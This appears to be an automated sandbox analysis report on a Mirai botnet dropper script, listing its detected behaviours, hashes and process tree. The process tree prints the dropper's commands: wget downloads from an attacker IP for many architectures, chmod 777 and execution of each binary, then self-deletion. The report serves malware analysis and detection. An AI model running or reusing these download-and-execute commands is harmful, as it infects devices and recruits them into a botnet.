Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20250619-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20250619-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    05/11/2025, 04:35

General

  • Target
    bins.sh
  • Size 910B
  • Sample251105-e7wxrsslhk
  • SHA256 dd47b5f7dda2ade9c11ef05158d62d5d5f63bc909cfce42a03008f7e1b1928ff
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Extracted

Family
  • mirai

Botnet
  • MIRAI

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • Contacts a large (4008) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 23 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Deletes itself 2 IoCs
  • Executes dropped EXE 23 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Enumerates active TCP sockets 1 TTPs 1 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 2 IoCs
  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 23 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Deletes itself
    • Executes dropped EXE
    • Modifies Watchdog functionality
    • Enumerates active TCP sockets
    • Changes its process name
    • Reads system network configuration
    • Reads runtime system information
    PID:1504
    • /usr/bin/wget
      wget http://45.133.119.221:80/bins/mirai.arm5n -O dvrHelper
      2⤵
      • Writes file to tmp directory
      PID:1505
    • /bin/chmod
      chmod 777 dvrHelper
      2⤵
      • File and Directory Permissions Modification
      PID:1509
    • /tmp/dvrHelper
      ./dvrHelper
      2⤵
        PID:1510
      • /usr/bin/wget
        wget http://45.133.119.221:80/bins/mirai.armv7a -O dvrHelper
        2⤵
        • Writes file to tmp directory
        PID:1512
      • /bin/chmod
        chmod 777 dvrHelper
        2⤵
        • File and Directory Permissions Modification
        PID:1514
      • /tmp/dvrHelper
        ./dvrHelper
        2⤵
          PID:1515
        • /usr/bin/wget
          wget http://45.133.119.221:80/bins/mirai.m68k -O dvrHelper
          2⤵
          • Writes file to tmp directory
          PID:1517
        • /bin/chmod
          chmod 777 dvrHelper
          2⤵
          • File and Directory Permissions Modification
          PID:1518
        • /tmp/dvrHelper
          ./dvrHelper
          2⤵
            PID:1519
          • /usr/bin/wget
            wget http://45.133.119.221:80/bins/mirai.mpsl -O dvrHelper
            2⤵
            • Writes file to tmp directory
            PID:1521
          • /bin/chmod
            chmod 777 dvrHelper
            2⤵
            • File and Directory Permissions Modification
            PID:1522
          • /tmp/dvrHelper
            ./dvrHelper
            2⤵
              PID:1523
            • /usr/bin/wget
              wget http://45.133.119.221:80/bins/mirai.sh4 -O dvrHelper
              2⤵
              • Writes file to tmp directory
              PID:1525
            • /bin/chmod
              chmod 777 dvrHelper
              2⤵
              • File and Directory Permissions Modification
              PID:1526
            • /tmp/dvrHelper
              ./dvrHelper
              2⤵
                PID:1527
              • /usr/bin/wget
                wget http://45.133.119.221:80/bins/mirai.x86 -O dvrHelper
                2⤵
                • Writes file to tmp directory
                PID:1529
              • /bin/chmod
                chmod 777 dvrHelper
                2⤵
                • File and Directory Permissions Modification
                PID:1530
              • /usr/bin/wget
                wget http://45.133.119.221:80/bins/miraint.arm5n -O dvrHelper
                2⤵
                • Writes file to tmp directory
                PID:1533
              • /bin/chmod
                chmod 777 dvrHelper
                2⤵
                • File and Directory Permissions Modification
                PID:1538
              • /tmp/dvrHelper
                ./dvrHelper
                2⤵
                  PID:1539
                • /usr/bin/wget
                  wget http://45.133.119.221:80/bins/miraint.armv7a -O dvrHelper
                  2⤵
                  • Writes file to tmp directory
                  PID:1541
                • /bin/chmod
                  chmod 777 dvrHelper
                  2⤵
                  • File and Directory Permissions Modification
                  PID:1542
                • /tmp/dvrHelper
                  ./dvrHelper
                  2⤵
                    PID:1543
                  • /usr/bin/wget
                    wget http://45.133.119.221:80/bins/miraint.mips -O dvrHelper
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:1545
                  • /bin/chmod
                    chmod 777 dvrHelper
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1546
                  • /tmp/dvrHelper
                    ./dvrHelper
                    2⤵
                      PID:1547
                    • /usr/bin/wget
                      wget http://45.133.119.221:80/bins/miraint.ppc -O dvrHelper
                      2⤵
                      • Writes file to tmp directory
                      PID:1549
                    • /bin/chmod
                      chmod 777 dvrHelper
                      2⤵
                      • File and Directory Permissions Modification
                      PID:1550
                    • /tmp/dvrHelper
                      ./dvrHelper
                      2⤵
                        PID:1551
                      • /usr/bin/wget
                        wget http://45.133.119.221:80/bins/miraint.spc -O dvrHelper
                        2⤵
                        • Writes file to tmp directory
                        PID:1553
                      • /bin/chmod
                        chmod 777 dvrHelper
                        2⤵
                        • File and Directory Permissions Modification
                        PID:1554
                      • /tmp/dvrHelper
                        ./dvrHelper
                        2⤵
                          PID:1555
                        • /usr/bin/wget
                          wget http://45.133.119.221:80/bins/mirai.arm -O dvrHelper
                          2⤵
                          • Writes file to tmp directory
                          PID:1557
                        • /bin/chmod
                          chmod 777 dvrHelper
                          2⤵
                          • File and Directory Permissions Modification
                          PID:1558
                        • /tmp/dvrHelper
                          ./dvrHelper
                          2⤵
                            PID:1559
                          • /usr/bin/wget
                            wget http://45.133.119.221:80/bins/mirai.arm7 -O dvrHelper
                            2⤵
                            • Writes file to tmp directory
                            PID:1561
                          • /bin/chmod
                            chmod 777 dvrHelper
                            2⤵
                            • File and Directory Permissions Modification
                            PID:1562
                          • /tmp/dvrHelper
                            ./dvrHelper
                            2⤵
                              PID:1563
                            • /usr/bin/wget
                              wget http://45.133.119.221:80/bins/mirai.gnueabihf -O dvrHelper
                              2⤵
                              • Writes file to tmp directory
                              PID:1565
                            • /bin/chmod
                              chmod 777 dvrHelper
                              2⤵
                              • File and Directory Permissions Modification
                              PID:1566
                            • /tmp/dvrHelper
                              ./dvrHelper
                              2⤵
                                PID:1567
                              • /usr/bin/wget
                                wget http://45.133.119.221:80/bins/mirai.mips -O dvrHelper
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:1569
                              • /bin/chmod
                                chmod 777 dvrHelper
                                2⤵
                                • File and Directory Permissions Modification
                                PID:1570
                              • /tmp/dvrHelper
                                ./dvrHelper
                                2⤵
                                  PID:1571
                                • /usr/bin/wget
                                  wget http://45.133.119.221:80/bins/mirai.ppc -O dvrHelper
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:1573
                                • /bin/chmod
                                  chmod 777 dvrHelper
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:1574
                                • /tmp/dvrHelper
                                  ./dvrHelper
                                  2⤵
                                    PID:1575
                                  • /usr/bin/wget
                                    wget http://45.133.119.221:80/bins/mirai.spc -O dvrHelper
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:1577
                                  • /bin/chmod
                                    chmod 777 dvrHelper
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:1578
                                  • /tmp/dvrHelper
                                    ./dvrHelper
                                    2⤵
                                      PID:1579
                                    • /usr/bin/wget
                                      wget http://45.133.119.221:80/bins/miraint.arm -O dvrHelper
                                      2⤵
                                      • Writes file to tmp directory
                                      PID:1581
                                    • /bin/chmod
                                      chmod 777 dvrHelper
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:1582
                                    • /tmp/dvrHelper
                                      ./dvrHelper
                                      2⤵
                                        PID:1583
                                      • /usr/bin/wget
                                        wget http://45.133.119.221:80/bins/miraint.arm7 -O dvrHelper
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:1585
                                      • /bin/chmod
                                        chmod 777 dvrHelper
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:1586
                                      • /tmp/dvrHelper
                                        ./dvrHelper
                                        2⤵
                                          PID:1587
                                        • /usr/bin/wget
                                          wget http://45.133.119.221:80/bins/miraint.m68k -O dvrHelper
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:1589
                                        • /bin/chmod
                                          chmod 777 dvrHelper
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:1590
                                        • /tmp/dvrHelper
                                          ./dvrHelper
                                          2⤵
                                            PID:1591
                                          • /usr/bin/wget
                                            wget http://45.133.119.221:80/bins/miraint.mpsl -O dvrHelper
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:1593
                                          • /bin/chmod
                                            chmod 777 dvrHelper
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:1594
                                          • /tmp/dvrHelper
                                            ./dvrHelper
                                            2⤵
                                              PID:1595
                                            • /usr/bin/wget
                                              wget http://45.133.119.221:80/bins/miraint.sh4 -O dvrHelper
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:1597
                                            • /bin/chmod
                                              chmod 777 dvrHelper
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:1598
                                            • /tmp/dvrHelper
                                              ./dvrHelper
                                              2⤵
                                                PID:1599
                                              • /usr/bin/wget
                                                wget http://45.133.119.221:80/bins/miraint.x86 -O dvrHelper
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:1601
                                              • /bin/chmod
                                                chmod 777 dvrHelper
                                                2⤵
                                                • File and Directory Permissions Modification
                                                PID:1602
                                              • /bin/rm
                                                rm ./bins.sh
                                                2⤵
                                                  PID:1605
                                                • /bin/rm
                                                  rm ./dvrHelper
                                                  2⤵
                                                    PID:1607

                                                Network

                                                      MITRE ATT&CK Enterprise v16

                                                      Replay Monitor

                                                      Loading Replay Monitor...

                                                      Downloads

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 52KB
                                                      • SHA256 be5cdd7fa8e206af1675707eb9ca01385a883c969017db9f9fa36b3ec0f90b7b
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 389KB
                                                      • SHA256 1e4a4619afecc3f53f118f7cd0fbf07038563dfa879eeb0335ac84f980c08a5a
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 58KB
                                                      • SHA256 11a9bb6be3b240551ac877e8295bd8e2d037e24037c652026b180095a874c014
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 78KB
                                                      • SHA256 4f3de52ed263ee374741fc38bb64cc08c7bba38e59333c251eebc5b691c6255c
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 53KB
                                                      • SHA256 e632c1dee6c9f187f36e633ac3db7a0f3db30a936129c04ebaa7e5b074631b51
                                                      • MD5 SHA1 SHA512 SSDEEP

                                                      dvrHelper

                                                      • Path /tmp/dvrHelper
                                                      • Size 389KB
                                                      • SHA256 0afd92a80f897f53fac6413dbeebbc800844e34c8fbbd7c335deb8ca4758fa6e
                                                      • MD5 SHA1 SHA512 SSDEEP